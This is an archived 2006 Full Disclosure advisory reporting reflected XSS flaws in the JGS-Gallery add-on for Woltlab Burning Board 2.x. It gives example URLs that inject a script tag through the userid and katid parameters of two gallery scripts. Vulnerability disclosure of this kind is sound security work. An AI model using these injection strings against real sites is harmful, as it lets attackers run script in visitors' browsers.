Full Disclosure mailing list archives
Advisory: Woltlab Burning Board 2.x (JGS-Gallery MOD <= 4.0) multiple XSS vulnerabilities
From: nukedx () nukedx com
Date: Fri, 24 Feb 2006 18:20:29 +0200
Dökümanlar »» Döküman oku --Security Report-- Advisory: Woltlab Burning Board 2.x (JGS-Gallery MOD <= 4.0) multiple XSS vulnerabilities --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 24/02/06 04:43 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx () nukedx com Web: http://www.nukedx.com } --- Vendor: JGS-XA (www.jgs-xa.com) Version: 4.0 and prior versions must be affected. About: Via this method remote attacker can make malicious links for clicking and can when victim clicks this links victim's browser would be inject with XSS. Level: Harmless --- How&Example: GET -> http://[site]/jgs_galerie_slideshow.php?sid=&katid=&userid=[XSS] EXAMPLE -> http://[site]/jgs_galerie_slideshow.php?sid=&katid=&userid=<script>alert('X');</script> GET -> http://[site]/jgs_galerie_scroll.php?userid=[XSS] EXAMPLE -> http://[site]/jgs_galerie_scroll.php?userid=<script>alert('X');</script> GET -> http://[site]/jgs_galerie_slideshow.php?sid=&katid=[XSS]&userid= EXAMPLE -> http://[site]/jgs_galerie_slideshow.php?sid=&katid=<script>alert('X');</script>&userid= -- Timeline: * 24/02/2006: Vulnerability found. * 24/02/2006: Contacted with vendor and waiting reply. -- Original advisory: http://www.nukedx.com/?viewdoc=11 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Advisory: Woltlab Burning Board 2.x (JGS-Gallery MOD <= 4.0) multiple XSS vulnerabilities nukedx (Feb 24)